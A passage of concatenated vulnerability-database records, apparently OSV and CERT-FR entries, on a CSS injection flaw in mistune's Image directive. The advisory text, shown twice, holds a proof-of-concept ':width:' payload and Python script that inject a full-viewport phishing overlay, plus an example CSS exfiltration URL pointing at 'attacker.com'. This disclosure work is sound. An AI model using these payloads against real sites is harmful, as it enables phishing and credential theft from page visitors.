options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same \u2014 prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += \u0027 width=\"\u0027 + width + \u0027\"\u0027   # safe: integer \u2192 HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer \u2192 raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 \u2014 Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 \u2014 Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` \u2014 starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` \u2014 overrides height to full viewport height\n- `;position:fixed` \u2014 lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` \u2014 anchors overlay to the top-left corner\n- `;z-index:9999` \u2014 places it above all other page content\n- `;background-color:#e11d48` \u2014 fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` \u2014 adds a bright yellow border\n- `;color:#fff;opacity:.93` \u2014 styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\n```\n```\n\n**Step 4 \u2014 Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"\u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection \u2014 width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n\u2192 a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  \u2192 overlay sits above the entire page\n#   top/left/width/height \u2192 covers 100 % of the viewport\n#   background-color:#e11d48 \u2192 vivid crimson fill\n#   outline:8px solid #facc15 \u2192 bright yellow border\n#   color:#fff \u2192 white alt-text label\n#   z-index:9999 \u2192 on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f\u0027\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e\u0027\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 \u2014 Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 \u2014 Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only \u2014 no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed \u00b7 background-color \u00b7 outline colour \u00b7 full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  \u26a0 The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims \u2192 clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline \u2192 full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker\u0027s design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.",
  "id": "BREW-jupyterlab-CVE-2026-44899",
  "modified": "2026-09-10T00:14:35Z",
  "published": "2026-08-13T17:01:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Image Directive CSS Injection Vulnerability",
  "upstream": [
    "GHSA-ccfx-mfmx-2fx9",
    "CVE-2026-44899",
    "PYSEC-2026-2209"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.1.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "recon-ng",
        "purl": "pkg:brew/recon-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.1.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.1.4"
      }
    ]
  },
  "details": "## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties \u2014 including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` \u2014 using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor \u2014 prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same \u2014 prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += \u0027 width=\"\u0027 + width + \u0027\"\u0027   # safe: integer \u2192 HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer \u2192 raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 \u2014 Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 \u2014 Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` \u2014 starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` \u2014 overrides height to full viewport height\n- `;position:fixed` \u2014 lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` \u2014 anchors overlay to the top-left corner\n- `;z-index:9999` \u2014 places it above all other page content\n- `;background-color:#e11d48` \u2014 fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` \u2014 adds a bright yellow border\n- `;color:#fff;opacity:.93` \u2014 styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\n```\n```\n\n**Step 4 \u2014 Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"\u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection \u2014 width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n\u2192 a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  \u2192 overlay sits above the entire page\n#   top/left/width/height \u2192 covers 100 % of the viewport\n#   background-color:#e11d48 \u2192 vivid crimson fill\n#   outline:8px solid #facc15 \u2192 bright yellow border\n#   color:#fff \u2192 white alt-text label\n#   z-index:9999 \u2192 on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f\u0027\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e\u0027\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 \u2014 Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 \u2014 Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only \u2014 no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed \u00b7 background-color \u00b7 outline colour \u00b7 full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  \u26a0 The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims \u2192 clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline \u2192 full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker\u0027s design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.",
  "id": "BREW-recon-ng-CVE-2026-44899",
  "modified": "2026-09-10T01:05:54Z",
  "published": "2026-08-13T17:32:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Image Directive CSS Injection Vulnerability",
  "upstream": [
    "GHSA-ccfx-mfmx-2fx9",
    "CVE-2026-44899",
    "PYSEC-2026-2209"
  ]
}

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "azl3 python-mistune 3.0.2-1 versions ant\u00e9rieures \u00e0 3.2.1-1",
      "product": {
        "name": "Azure Linux",
        "vendor": {
          "name": "Microsoft",
          "scada": false
        }
      }
    },
    {
      "description": "azl3 kubevirt 1.7.1-2 versions ant\u00e9rieures \u00e0 1.7.1-6",
      "product": {
        "name": "Azure Linux",
        "vendor": {
          "name": "Microsoft",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2026-7374",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-7374"
    },
    {
      "name": "CVE-2026-44899",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44899"
    },
    {
      "name": "CVE-2026-44896",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44896"
    }
  ],
  "initial_release_date": "2026-06-03T00:00:00",
  "last_revision_date": "2026-06-03T00:00:00",
  "links": [],
  "reference": "CERTFR-2026-AVI-0685",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2026-06-03T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans Microsoft Azure Linux. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure Linux",
  "vendor_advisories": [
    {
      "published_at": "2026-05-31",
      "title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-7374",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-7374"
    },
    {
      "published_at": "2026-05-28",
      "title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-44899",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44899"
    },
    {
      "published_at": "2026-05-28",
      "title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-44896",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44896"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "tensorflow-gpu-jupyter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.21.0-r5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.21.0-r5"
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
